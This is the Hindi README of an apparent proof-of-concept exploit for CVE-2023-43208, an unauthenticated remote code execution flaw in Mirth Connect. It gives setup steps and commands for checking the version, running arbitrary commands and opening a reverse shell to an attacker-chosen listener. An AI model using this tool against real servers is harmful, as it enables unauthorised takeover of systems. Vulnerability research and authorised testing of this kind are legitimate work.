CVE-2023-43208 - Mirth Connect अनऑथेंटिकेटेड RCE

आवश्यकताएँ

• Python 3.11 या उच्चतर (3.11, 3.12, 3.13 पर परीक्षण किया गया)

सेटअप

# एक साफ वर्चुअल वातावरण बनाएँ
python3 -m venv .venv
source .venv/bin/activate

# पिन की गई निर्भरताएँ स्थापित करें
pip install -r requirements.txt

उपयोग

# केवल संस्करण जाँचें
python3 CVE-2023-43208.py -u https://TARGET/ --check

# एकल कमांड निष्पादित करें
python3 CVE-2023-43208.py -u https://TARGET/ -c "whoami"

# रिवर्स शेल (पहले nc लिसनर शुरू करें)
python3 CVE-2023-43208.py -u https://TARGET/ -l LHOST -p LPORT

नोट्स

• सर्वर से 500 प्रतिक्रिया सामान्य और अपेक्षित है — कमांड फिर भी निष्पादित होता है
• Mirth Connect < 4.4.1 को प्रभावित करता है

अस्वीकरण

यह प्रूफ‑ऑफ‑कॉन्सेप्ट केवल अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसे उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है। इस कोड के किसी भी दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं है।